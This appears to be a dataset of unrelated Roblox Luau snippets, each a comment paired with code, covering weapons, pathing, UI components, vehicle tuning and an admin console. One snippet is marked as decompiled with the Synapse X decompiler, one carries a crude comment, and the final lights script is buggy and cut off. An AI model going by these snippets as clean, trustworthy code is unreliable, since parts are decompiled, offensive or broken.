-- Returns the ancestor that contains a Humanoid, if it exists |
local function FindCharacterAncestor(subject)
if subject and subject ~= Workspace then
local humanoid = subject:FindFirstChild('Humanoid')
if humanoid then
return subject, humanoid
else
return FindCharacterAncestor(subject.Parent)
end
end
return nil
end
local function OnExplosionHit(hitPart)
if hitPart then
local _, humanoid = FindCharacterAncestor(hitPart.Parent)
if humanoid and humanoid.Health > 0 then
local hitBindable = humanoid:FindFirstChild('Hit')
if hitBindable then
hitBindable:Invoke(0, CreatorTag)
else
print("Could not find BindableFunction 'Hit'")
end
end
end
end
local function OnTouched(otherPart)
if Rocket and otherPart then
-- Fly through anything in the ignore list
if ROCKET_IGNORE_LIST[string.lower(otherPart.Name)] then
return
end
-- Fly through the creator
local myPlayer = CreatorTag.Value
if myPlayer and myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then
return
end
-- Create the explosion
local explosion = Instance.new('Explosion')
explosion.BlastPressure = BLAST_PRESSURE
explosion.BlastRadius = BLAST_RADIUS
explosion.Position = Rocket.Position
explosion.Hit:connect(OnExplosionHit)
explosion.Parent = Workspace
-- Start playing the boom sound
local boomSound = Rocket:FindFirstChild('Boom')
if boomSound then
boomSound:Play()
end
-- NOTE:
-- If we just destroyed the rocket at this point, the boom sound would be destroyed too,
-- so instead we will hide the rocket, keep it in the same spot, and schedule it for deletion
-- Stop playing the swoosh sound
local swooshSound = Rocket:FindFirstChild('Swoosh')
if swooshSound then
swooshSound:Stop()
end
-- Put out the fire
local fire = Rocket:FindFirstChild('Fire')
if fire then
fire:Destroy()
end
Rocket.Transparency = 1
Rocket.CanCollide = false
Rocket.Anchored = true
DebrisService:AddItem(Rocket, 3)
-- Destroy the connection so this method won't be called again
Connection:disconnect()
end
end
|
--[=[
Observables a given value object's value
@param valueObject Instance
@return Observable<T>
]=] |
function RxValueBaseUtils.observeValue(valueObject)
return RxInstanceUtils.observeProperty(valueObject, "Value")
end
return RxValueBaseUtils
|
--local l__BodyGyro__13 = v2.char:WaitForChild("HumanoidRootPart"):WaitForChild("BodyGyro"); |
local l__Waist__14 = v2.char:WaitForChild("UpperTorso"):WaitForChild("Waist");
local l__Neck__15 = v2.char:WaitForChild("Head"):WaitForChild("Neck");
local l__Root__16 = v2.char:WaitForChild("LowerTorso"):WaitForChild("Root");
local l__RightShoulder__17 = v2.char:WaitForChild("RightUpperArm"):WaitForChild("RightShoulder");
local l__LeftShoulder__18 = v2.char:WaitForChild("LeftUpperArm"):WaitForChild("LeftShoulder");
local l__RightUpperArm__19 = v2.char:WaitForChild("RightUpperArm");
local l__LeftUpperArm__20 = v2.char:WaitForChild("LeftUpperArm");
local l__Waist__21 = v2.char:WaitForChild("UpperTorso"):WaitForChild("Waist");
local l__Neck__22 = v2.char:WaitForChild("Head"):WaitForChild("Neck");
local l__Root__23 = v2.char:WaitForChild("LowerTorso"):WaitForChild("Root");
local l__RightShoulder__24 = v2.char:WaitForChild("RightUpperArm"):WaitForChild("RightShoulder");
local l__LeftShoulder__25 = v2.char:WaitForChild("LeftUpperArm"):WaitForChild("LeftShoulder");
local v26 = Vector3.new(0, 0, 1);
local l__Animations__27 = v2.char:WaitForChild("Animations");
local v28 = Vector3.new(0, 0, 0);
local v29 = tick();
local v30 = tick();
local v31 = tick();
local v32 = OverlapParams.new();
local v33 = {
Crouch = v1.MainFrame:WaitForChild("MobileButtons"):WaitForChild("CrouchButton")
};
v32.CollisionGroup = "Player";
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.FallingDown, false);
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding, false);
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Seated, false);
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false);
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Jumping, false);
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Climbing, false);
local v34 = {
Walk = {}
};
for v35, v36 in pairs(l__Animations__27:GetChildren()) do
v34[v36.Name] = v2.hum:WaitForChild("Animator"):LoadAnimation(v36);
end; |
------------------------------------------------------------------------- |
local function IsInBottomLeft(pt)
local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250)
local joystickWidth = joystickHeight
return pt.X <= joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end
local function IsInBottomRight(pt)
local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250)
local joystickWidth = joystickHeight
return pt.X >= Utility.ViewSizeX() - joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end
local function CheckAlive(character)
local humanoid = findPlayerHumanoid(Player)
return humanoid ~= nil and humanoid.Health > 0
end
local function GetEquippedTool(character)
if character ~= nil then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
return child
end
end
end
end
local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil
local function CleanupPath()
DrivingTo = nil
if ExistingPather then
ExistingPather:Cancel()
end
if PathCompleteListener then
PathCompleteListener:Disconnect()
PathCompleteListener = nil
end
if PathFailedListener then
PathFailedListener:Disconnect()
PathFailedListener = nil
end
if ExistingIndicator then
local obj = ExistingIndicator
local tween = obj:TweenOut()
local tweenCompleteEvent = nil
tweenCompleteEvent = tween.Completed:connect(function()
tweenCompleteEvent:Disconnect()
obj.Model:Destroy()
end)
ExistingIndicator = nil
end
end
local function getExtentsSize(Parts)
local maxX,maxY,maxZ = -math.huge,-math.huge,-math.huge
local minX,minY,minZ = math.huge,math.huge,math.huge
for i = 1, #Parts do
maxX,maxY,maxZ = math.max(maxX, Parts[i].Position.X), math.max(maxY, Parts[i].Position.Y), math.max(maxZ, Parts[i].Position.Z)
minX,minY,minZ = math.min(minX, Parts[i].Position.X), math.min(minY, Parts[i].Position.Y), math.min(minZ, Parts[i].Position.Z)
end
return Region3.new(Vector3.new(minX, minY, minZ), Vector3.new(maxX, maxY, maxZ))
end
local function inExtents(Extents, Position)
if Position.X < (Extents.CFrame.p.X - Extents.Size.X/2) or Position.X > (Extents.CFrame.p.X + Extents.Size.X/2) then
return false
end
if Position.Z < (Extents.CFrame.p.Z - Extents.Size.Z/2) or Position.Z > (Extents.CFrame.p.Z + Extents.Size.Z/2) then
return false
end
--ignoring Y for now
return true
end
local function showQuickPopupAsync(position, popupType)
local popup = createNewPopup(popupType)
popup:Place(position, Vector3.new(0,position.y,0))
local tweenIn = popup:TweenIn()
tweenIn.Completed:Wait()
local tweenOut = popup:TweenOut()
tweenOut.Completed:Wait()
popup.Model:Destroy()
popup = nil
end
local FailCount = 0
local function OnTap(tapPositions, goToPoint)
-- Good to remember if this is the latest tap event
local camera = workspace.CurrentCamera
local character = Player.Character
if not CheckAlive(character) then return end
-- This is a path tap position
if #tapPositions == 1 or goToPoint then
if camera then
local unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y)
local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000)
-- inivisicam stuff
local initIgnore = getIgnoreList()
local invisicamParts = {} --InvisicamModule and InvisicamModule:GetObscuredParts() or {}
local ignoreTab = {}
-- add to the ignore list
for i, v in pairs(invisicamParts) do
ignoreTab[#ignoreTab+1] = i
end
for i = 1, #initIgnore do
ignoreTab[#ignoreTab+1] = initIgnore[i]
end
--
local myHumanoid = findPlayerHumanoid(Player)
local hitPart, hitPt, hitNormal, hitMat = Utility.Raycast(ray, true, ignoreTab)
local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart)
local torso = GetTorso()
local startPos = torso.CFrame.p
if goToPoint then
hitPt = goToPoint
hitChar = nil
end
if hitChar and hitHumanoid and hitHumanoid.RootPart and (hitHumanoid.Torso.CFrame.p - torso.CFrame.p).magnitude < 7 then
CleanupPath()
if myHumanoid then
myHumanoid:MoveTo(hitPt)
end
-- Do shoot
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
elseif hitPt and character and not CurrentSeatPart then
local thisPather = Pather(character, hitPt, hitNormal)
if thisPather:IsValidPath() then
FailCount = 0
thisPather:Start()
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(false)
end
CleanupPath()
local destinationPopup = createNewPopup("DestinationPopup")
destinationPopup:Place(hitPt, Vector3.new(0,hitPt.y,0))
local failurePopup = createNewPopup("FailurePopup")
local currentTween = destinationPopup:TweenIn()
ExistingPather = thisPather
ExistingIndicator = destinationPopup
PathCompleteListener = thisPather.Finished.Event:Connect(function()
if destinationPopup then
if ExistingIndicator == destinationPopup then
ExistingIndicator = nil
end
local tween = destinationPopup:TweenOut()
local tweenCompleteEvent = nil
tweenCompleteEvent = tween.Completed:Connect(function()
tweenCompleteEvent:Disconnect()
destinationPopup.Model:Destroy()
destinationPopup = nil
end)
end
if hitChar then
local humanoid = findPlayerHumanoid(Player)
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
if humanoid then
humanoid:MoveTo(hitPt)
end
end
end)
PathFailedListener = thisPather.PathFailed.Event:Connect(function()
CleanupPath()
if failurePopup then
failurePopup:Place(hitPt, Vector3.new(0,hitPt.y,0))
local failTweenIn = failurePopup:TweenIn()
failTweenIn.Completed:Wait()
local failTweenOut = failurePopup:TweenOut()
failTweenOut.Completed:Wait()
failurePopup.Model:Destroy()
failurePopup = nil
end
end)
else
if hitPt then
-- Feedback here for when we don't have a good path
local foundDirectPath = false
if (hitPt-startPos).Magnitude < 25 and (startPos.y-hitPt.y > -3) then
-- move directly here
if myHumanoid then
if myHumanoid.Sit then
myHumanoid.Jump = true
end
myHumanoid:MoveTo(hitPt)
foundDirectPath = true
end
end
coroutine.wrap(showQuickPopupAsync)(hitPt, foundDirectPath and "DirectWalkPopup" or "FailurePopup")
end
end
elseif hitPt and character and CurrentSeatPart then
local destinationPopup = createNewPopup("DestinationPopup")
ExistingIndicator = destinationPopup
destinationPopup:Place(hitPt, Vector3.new(0,hitPt.y,0))
destinationPopup:TweenIn()
DrivingTo = hitPt
local ConnectedParts = CurrentSeatPart:GetConnectedParts(true)
while wait() do
if CurrentSeatPart and ExistingIndicator == destinationPopup then
local ExtentsSize = getExtentsSize(ConnectedParts)
if inExtents(ExtentsSize, hitPt) then
local popup = destinationPopup
spawn(function()
local tweenOut = popup:TweenOut()
tweenOut.Completed:Wait()
popup.Model:Destroy()
end)
destinationPopup = nil
DrivingTo = nil
break
end
else
if CurrentSeatPart == nil and destinationPopup == ExistingIndicator then
DrivingTo = nil
OnTap(tapPositions, hitPt)
end
local popup = destinationPopup
spawn(function()
local tweenOut = popup:TweenOut()
tweenOut.Completed:Wait()
popup.Model:Destroy()
end)
destinationPopup = nil
break
end
end
end
end
elseif #tapPositions >= 2 then
if camera then
-- Do shoot
local avgPoint = Utility.AveragePoints(tapPositions)
local unitRay = camera:ScreenPointToRay(avgPoint.x, avgPoint.y)
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
end
end
end
local function IsFinite(num)
return num == num and num ~= 1/0 and num ~= -1/0
end
local function findAngleBetweenXZVectors(vec2, vec1)
return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z)
end
local function DisconnectEvent(event)
if event then
event:Disconnect()
end
end
|
--[[
A method called by consumers of Roact to create a new component class.
Components can not be extended beyond this point, with the exception of
PureComponent.
]] |
function Component:extend(name)
if config.typeChecks then
assert(Type.of(self) == Type.StatefulComponentClass, "Invalid `self` argument to `extend`.")
assert(typeof(name) == "string", "Component class name must be a string")
end
local class = {}
for key, value in pairs(self) do
-- Roact opts to make consumers use composition over inheritance, which
-- lines up with React.
-- https://reactjs.org/docs/composition-vs-inheritance.html
if key ~= "extend" then
class[key] = value
end
end
class[Type] = Type.StatefulComponentClass
class.__index = class
class.__componentName = name
setmetatable(class, componentClassMetatable)
return class
end
function Component:__getDerivedState(incomingProps, incomingState)
if config.internalTypeChecks then
internalAssert(Type.of(self) == Type.StatefulComponentInstance, "Invalid use of `__getDerivedState`")
end
local internalData = self[InternalData]
local componentClass = internalData.componentClass
if componentClass.getDerivedStateFromProps ~= nil then
local derivedState = componentClass.getDerivedStateFromProps(incomingProps, incomingState)
if derivedState ~= nil then
if config.typeChecks then
assert(typeof(derivedState) == "table", "getDerivedStateFromProps must return a table!")
end
return derivedState
end
end
return nil
end
function Component:setState(mapState)
if config.typeChecks then
assert(Type.of(self) == Type.StatefulComponentInstance, "Invalid `self` argument to `extend`.")
end
local internalData = self[InternalData]
local lifecyclePhase = internalData.lifecyclePhase
--[[
When preparing to update, render, or unmount, it is not safe
to call `setState` as it will interfere with in-flight updates. It's
also disallowed during unmounting
]]
if
lifecyclePhase == ComponentLifecyclePhase.ShouldUpdate
or lifecyclePhase == ComponentLifecyclePhase.WillUpdate
or lifecyclePhase == ComponentLifecyclePhase.Render
then
local messageTemplate = invalidSetStateMessages[internalData.lifecyclePhase]
local message = messageTemplate:format(tostring(internalData.componentClass))
error(message, 2)
elseif lifecyclePhase == ComponentLifecyclePhase.WillUnmount then
-- Should not print error message. See https://github.com/facebook/react/pull/22114
return
end
local pendingState = internalData.pendingState
local partialState
if typeof(mapState) == "function" then
partialState = mapState(pendingState or self.state, self.props)
-- Abort the state update if the given state updater function returns nil
if partialState == nil then
return
end
elseif typeof(mapState) == "table" then
partialState = mapState
else
error("Invalid argument to setState, expected function or table", 2)
end
local newState
if pendingState ~= nil then
newState = assign(pendingState, partialState)
else
newState = assign({}, self.state, partialState)
end
if lifecyclePhase == ComponentLifecyclePhase.Init then
-- If `setState` is called in `init`, we can skip triggering an update!
local derivedState = self:__getDerivedState(self.props, newState)
self.state = assign(newState, derivedState)
elseif
lifecyclePhase == ComponentLifecyclePhase.DidMount
or lifecyclePhase == ComponentLifecyclePhase.DidUpdate
or lifecyclePhase == ComponentLifecyclePhase.ReconcileChildren
then
--[[
During certain phases of the component lifecycle, it's acceptable to
allow `setState` but defer the update until we're done with ones in flight.
We do this by collapsing it into any pending updates we have.
]]
local derivedState = self:__getDerivedState(self.props, newState)
internalData.pendingState = assign(newState, derivedState)
elseif lifecyclePhase == ComponentLifecyclePhase.Idle then
-- Outside of our lifecycle, the state update is safe to make immediately
self:__update(nil, newState)
else
local messageTemplate = invalidSetStateMessages.default
local message = messageTemplate:format(tostring(internalData.componentClass))
error(message, 2)
end
end
|
--[[
Enters the view, cloning the element from ReplicatedStorage.
]] |
function Finished.enter()
successSound:Play()
activeElements = elements:Clone()
activeElements.Time.Text = GetReadableTime(ClientPlayerStatusHandler.get(UserId, "time") or 0)
activeElements.Title.Text = translate("You escaped!")
activeElements.Parent = LocalPlayer.PlayerGui
end
|
--[[
Returns a string that is human readable, signifying the input enum
]] |
return function(inputEnum)
if inputEnum == Enum.UserInputType.MouseButton1 then
return "LMB"
elseif inputEnum == Enum.UserInputType.MouseButton2 then
return "RMB"
elseif inputEnum == Enum.KeyCode.Q then
return "Q"
else
return "?"
end
end
|
-- gay guy |
function onTouch(part)
local human = part.Parent:findFirstChild("Humanoid")
if (human == nil) then return end
human.Parent.Name= "IT ATE ME!" --Change ~~~NZ~~~ to whatever name u want
end
script.Parent.Touched:connect(onTouch)
|
-- << VARIABLES >> |
local music_list = {1840684529,1840684529,1840684529,1840684529,1840684529,1840684529,1840684529,1840684529}
local volume = 1
|
--// Aim|Zoom|Sensitivity Customization |
ZoomSpeed = 0.15; -- The lower the number the slower and smoother the tween
AimZoom = 5; -- Default zoom
AimSpeed = 0.15;
UnaimSpeed = 0.15;
CycleAimZoom = 4; -- Cycled zoom
MouseSensitivity = 0.05; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
--[[Transmission]] |
Tune.TransModes = {"Auto","Semi","Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 2.89 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 2.32 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 2.84 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 1.55 ,
--[[ 3 ]] 1.00 ,
--[[ 4 ]] .70 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- if EntityData.All[equippedTool.name] and EntityData.All[equippedTool.name].saddleLevel then
---- determine if part is a child of a critter that can be saddled
-- local saddleTarget
-- local withinMagnitude = (targetPart.Position - player.Character.PrimaryPart.Position).magnitude <= 15
-- local thisEntityInfo = EntityData.All[targetPart.Parent.Name]
-- local saddleable = (thisEntityInfo and thisEntityInfo.saddleable and (thisEntityInfo.saddleLevel <= EntityData.All[equippedTool.name].saddleLevel))
-- if targetPart.Parent:IsA("Model") and targetPart.Parent ~= workspace then
-- if saddleable and withinMagnitude and not (saddledCritters[targetPart.Parent] and saddledCritters[targetPart.Parent].owner ~= player) then
----remove their saddle tool
-- GU.RemoveFromToolSlot(player, hasEquipped, 1) | |
-- MasterWeld by Zephyred
-- Works for all types of parts, unions etc. |
function WeldPair(x, y)
local weld = Instance.new("Weld",x)
weld.Part0 = x
weld.Part1 = y
weld.C1 = y.CFrame:toObjectSpace(x.CFrame);
end
function WeldAll(model, main) -- model can be anything
if model:IsA("BasePart") then WeldPair(main, model) end
for _,v in pairs(model:GetChildren()) do WeldAll(v, main) end
end
function UnanchorAll(model) -- model can be anything
if (model:IsA("BasePart")) then model.Anchored = false end
for _,v in pairs(model:GetChildren()) do UnanchorAll(v) end
end
WeldAll(script.Parent.Body, script.Parent.MainSeat)
UnanchorAll(script.Parent)
script:Destroy() -- Done, clean script up.
|
--// Main Variables |
local DetectedNPC = nil
local Detected = false
local Chatting = false
local Skip = false
local Exit = false
|
-- If true, then the heat NumberValues will reflect the values
-- contained in the script. |
config.DiagnosticsEnabled = false
|
-- Decompiled with the Synapse X Luau decompiler. |
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
local l__PlayerGui__1 = service.Players.LocalPlayer.PlayerGui;
local l__Parent__2 = script.Parent.Parent;
local l__Frame__3 = l__Parent__2.Frame;
local l__ScrollingFrame__4 = l__Parent__2.Frame.ScrollingFrame;
local v5 = client.Remote.Get("Setting", { "SplitKey", "ConsoleKeyCode", "BatchKey" });
local v6 = client.Remote.Get("FormattedCommands") or {};
l__Frame__3.Position = UDim2.new(0, 0, 0, -200);
l__Frame__3.Visible = false;
l__Frame__3.Size = UDim2.new(1, 0, 0, 40);
l__ScrollingFrame__4.Visible = false;
if client.Variables.ConsoleOpen then
if client.Variables.ChatEnabled then
service.StarterGui:SetCoreGuiEnabled("Chat", true);
end;
if client.Variables.PlayerListEnabled then
service.StarterGui:SetCoreGuiEnabled("PlayerList", true);
end;
if client.UI.Get("Notif") then
client.UI.Get("Notif", nil, true).Object.LABEL.Visible = true;
end;
local v7 = client.UI.Get("Chat", nil, true);
if v7 then
v7.Object.Drag.Visible = true;
end;
local v8 = client.UI.Get("PlayerList", nil, true);
if v8 then
v8.Object.Drag.Visible = true;
end;
local v9 = client.UI.Get("HintHolder", nil, true);
if v9 then
v9.Object.Frame.Visible = true;
end;
end;
client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat");
client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled("PlayerList");
local u1 = false;
local l__PlayerList__2 = l__Parent__2.Frame.PlayerList;
local u3 = false;
local l__TextBox__4 = l__Parent__2.Frame.TextBox;
local function u5()
if l__Parent__2:IsDescendantOf(game) and not u1 then
u1 = true;
l__ScrollingFrame__4:ClearAllChildren();
l__ScrollingFrame__4.CanvasSize = UDim2.new(0, 0, 0, 0);
l__ScrollingFrame__4.ScrollingEnabled = false;
l__Frame__3.Size = UDim2.new(1, 0, 0, 40);
l__ScrollingFrame__4.Visible = false;
l__PlayerList__2.Visible = false;
scrollOpen = false;
if client.Variables.ChatEnabled then
service.StarterGui:SetCoreGuiEnabled("Chat", true);
end;
if client.Variables.PlayerListEnabled then
service.StarterGui:SetCoreGuiEnabled("PlayerList", true);
end;
if client.UI.Get("Notif") then
client.UI.Get("Notif", nil, true).Object.LABEL.Visible = true;
end;
local v10 = client.UI.Get("Chat", nil, true);
if v10 then
v10.Object.Drag.Visible = true;
end;
local v11 = client.UI.Get("PlayerList", nil, true);
if v11 then
v11.Object.Drag.Visible = true;
end;
local v12 = client.UI.Get("HintHolder", nil, true);
if v12 then
v12.Object.Frame.Visible = true;
end;
service.SafeTweenPos(l__Frame__3, UDim2.new(0, 0, 0, -200), "Out", "Linear", 0.2, true);
u1 = false;
u3 = false;
end;
end;
l__TextBox__4.FocusLost:connect(function(p2)
if p2 and l__TextBox__4.Text ~= "" and string.len(l__TextBox__4.Text) > 1 then
client.Remote.Send("ProcessCommand", l__TextBox__4.Text);
end;
u5();
end);
local function u6()
if l__Parent__2:IsDescendantOf(game) and not u1 then
u1 = true;
client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat");
client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled("PlayerList");
service.StarterGui:SetCoreGuiEnabled("Chat", false);
service.StarterGui:SetCoreGuiEnabled("PlayerList", false);
l__ScrollingFrame__4.ScrollingEnabled = true;
l__PlayerList__2.ScrollingEnabled = true;
if client.UI.Get("Notif") then
client.UI.Get("Notif", nil, true).Object.LABEL.Visible = false;
end;
local v13 = client.UI.Get("Chat", nil, true);
if v13 then
v13.Object.Drag.Visible = false;
end;
local v14 = client.UI.Get("PlayerList", nil, true);
if v14 then
v14.Object.Drag.Visible = false;
end;
local v15 = client.UI.Get("HintHolder", nil, true);
if v15 then
v15.Object.Frame.Visible = false;
end;
l__Frame__3.Size = UDim2.new(1, 0, 0, 40);
l__ScrollingFrame__4.Visible = false;
l__PlayerList__2.Visible = false;
scrollOpen = false;
l__TextBox__4.Text = "";
l__Frame__3.Visible = true;
l__Frame__3.Position = UDim2.new(0, 0, 0, 0);
l__TextBox__4:CaptureFocus();
l__TextBox__4.Text = "";
wait();
l__TextBox__4.Text = "";
u1 = false;
u3 = true;
end;
end;
local l__BatchKey__7 = v5.BatchKey;
local l__SplitKey__8 = v5.SplitKey;
local l__Entry__9 = l__Parent__2.Entry;
l__TextBox__4.Changed:connect(function(p3)
if p3 ~= "Text" or l__TextBox__4.Text == "" or not u6 then
if p3 == "Text" and l__TextBox__4.Text == "" and u3 then
service.SafeTweenSize(l__Frame__3, UDim2.new(1, 0, 0, 40), nil, nil, 0.3, nil, function()
if scrollOpen then
l__Frame__3.Size = UDim2.new(1, 0, 0, 140);
end;
end);
l__ScrollingFrame__4.Visible = false;
l__PlayerList__2.Visible = false;
scrollOpen = false;
l__ScrollingFrame__4:ClearAllChildren();
l__ScrollingFrame__4.CanvasSize = UDim2.new(0, 0, 0, 0);
end;
return;
end;
l__ScrollingFrame__4:ClearAllChildren();
l__PlayerList__2:ClearAllChildren();
local v16 = l__TextBox__4.Text;
if string.match(v16, ".*" .. l__BatchKey__7 .. "([^']+)") then
v16 = string.match(string.match(v16, ".*" .. l__BatchKey__7 .. "([^']+)"), "^%s*(.-)%s*$");
end;
local v17 = 0;
local v18 = string.match(v16, ".+" .. l__SplitKey__8 .. "(.*)$");
local l__next__19 = next;
local v20, v21 = service.Players:GetChildren();
while true do
local v22, v23 = l__next__19(v20, v21);
if not v22 then
break;
end;
v21 = v22;
if v18 then
if string.sub(string.lower(tostring(v23)), 1, #v18) == string.lower(v18) or string.match(v16, l__SplitKey__8 .. "$") then
local v24 = l__Entry__9:Clone();
v24.Text = tostring(v23);
v24.TextXAlignment = "Right";
v24.Visible = true;
v24.Parent = l__PlayerList__2;
v24.Position = UDim2.new(0, 0, 0, 20 * v17);
v24.MouseButton1Down:connect(function()
l__TextBox__4.Text = l__TextBox__4.Text .. tostring(v23);
l__TextBox__4:CaptureFocus();
end);
v17 = v17 + 1;
end;
elseif string.match(v16, l__SplitKey__8 .. "$") then
v24 = l__Entry__9:Clone();
v24.Text = tostring(v23);
v24.TextXAlignment = "Right";
v24.Visible = true;
v24.Parent = l__PlayerList__2;
v24.Position = UDim2.new(0, 0, 0, 20 * v17);
v24.MouseButton1Down:connect(function()
l__TextBox__4.Text = l__TextBox__4.Text .. tostring(v23);
l__TextBox__4:CaptureFocus();
end);
v17 = v17 + 1;
end;
end;
l__PlayerList__2.CanvasSize = UDim2.new(0, 0, 0, v17 * 20);
local v25 = 0;
for v26, v27 in next, v6 do
if string.sub(string.lower(v27), 1, #v16) == string.lower(v16) or string.find(string.lower(v27), string.match(string.lower(v16), "^(.-)" .. l__SplitKey__8) or string.lower(v16)) then
if not scrollOpen then
l__Frame__3.Size = UDim2.new(1, 0, 0, 140);
l__ScrollingFrame__4.Visible = true;
l__PlayerList__2.Visible = true;
scrollOpen = true;
end;
local v28 = l__Entry__9:clone();
v28.Visible = true;
v28.Parent = l__ScrollingFrame__4;
v28.Text = v27;
v28.Position = UDim2.new(0, 0, 0, 20 * v25);
v28.MouseButton1Down:connect(function()
l__TextBox__4.Text = v28.Text;
l__TextBox__4:CaptureFocus();
end);
v25 = v25 + 1;
end;
end;
l__ScrollingFrame__4.CanvasSize = UDim2.new(0, 0, 0, v25 * 20);
end);
local l__ConsoleKeyCode__10 = v5.ConsoleKeyCode;
gTable.BindEvent(service.UserInputService.InputBegan, function(p4)
if not service.UserInputService:GetFocusedTextBox() and rawequal(p4.UserInputType, Enum.UserInputType.Keyboard) and p4.KeyCode.Name == (client.Variables.CustomConsoleKey or l__ConsoleKeyCode__10) then
if u3 then
u5();
else
u6();
end;
client.Variables.ConsoleOpen = u3;
end;
end);
gTable:Ready();
end;
|
---- THIS CODE IS FOR SERVERSIDE ANIMATIONS
--[[
for i,v in pairs(workspace:GetChildren()) do
if v.Name == "Butterfly" then
local NewScript = script.ButterflyScriptNew:Clone()
NewScript.Parent = v;
NewScript.Disabled = false
end
end--]] | |
-- Fonction pour faire déplacer le NPC vers la source d'eau la plus proche |
local function moveToWaterSource(npc)
-- Vérifie si le NPC existe et s'il est en vie
if npc and npc.Parent and npc:FindFirstChild("Humanoid") and npc.Humanoid.Health > 0 then
local npcHumanoid = npc.Humanoid
-- Obtient la position actuelle du NPC
local npcPosition = npcHumanoid.RootPart.Position
-- Trouve la source d'eau la plus proche
local nearestWaterSource = findNearestWaterSource(npcPosition)
-- Vérifie si une source d'eau a été trouvée
if nearestWaterSource then
-- Fait tourner le NPC vers la source d'eau
npcHumanoid:MoveTo(nearestWaterSource)
end
end
end
|
-- Remade by Truenus |
wait(0.05)
local car = script.Parent.Parent.Car.Value
local GBrake = script.Parent.Parent.Values.Brake
function on()
car.Body.Lights.RN.BrickColor=BrickColor.New("Maroon")
car.Body.Lights.RN.Material=Enum.Material.Neon
car.Body.Lights.Light.Material=Enum.Material.Neon
car.Body.Lights.Light.Light.Enabled = true
car.Body.Lights.Light.BrickColor=BrickColor.New("Institutional white")
car.Body.Lights.RN.Light.Enabled = true
function off()
car.Body.Lights.Light.BrickColor=BrickColor.New("Dark stone grey")
car.Body.Lights.RN.Material=Enum.Material.SmoothPlastic
car.Body.Lights.RN.BrickColor=BrickColor.New("Crimson")
car.Body.Lights.Light.Light.Enabled = false
car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic
car.Body.Lights.RN.Light.Enabled = false
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v.Name == "Light2" then
v.Material=Enum.Material.SmoothPlastic
v.Light.Enabled = false
end
end
end
end
function on2()
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v.Name == "Light2" then
v.Material=Enum.Material.Neon
v.Light.Enabled = true
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v.Name == "Light" then
v.BrickColor=BrickColor.new("Dark stone grey")
v.Material = Enum.Material.SmoothPlastic
v.Light.Enabled = false
end
end
end
end
end
function auto()
if (game.Lighting:GetMinutesAfterMidnight()<390 or game.Lighting:GetMinutesAfterMidnight()>1050) then
car.Body.Lights.Light.Material=Enum.Material.Neon
car.Body.Lights.Light.Light.Enabled = true
car.Body.Lights.RN.BrickColor=BrickColor.New("Bright red")
car.Body.Lights.RN.Light.Enabled = true
else
car.Body.Lights.RN.Light.Enabled = false
car.Body.Lights.RN.Material=Enum.Material.SmoothPlastic
car.Body.Lights.RN.BrickColor=BrickColor.New("Maroon")
car.Body.Lights.Light.Light.Enabled = false
car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic
end
end
script.Parent.MouseButton1Click:connect(function()
if script.Parent.Text == "Lights: Auto" then
on()
script.Parent.Text = "Lights: On (1)"
elseif script.parent.Text == "Lights: On (1)" then
on2()
script.Parent.Text = "Lights: On (2)"
elseif script.Parent.Text == "Lights: On (2)" then
off()
script.Parent.Text = "Lights: Off"
elseif script.parent.Text == "Lights: Off" then
auto()
script.Parent.Text = "Lights: Auto"
end
end)
script.Parent.Parent.Values.Brake.Changed:connect(function()
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v.Name=="R" then
if v.Light.Enabled then
if GBrake.Value>0 then
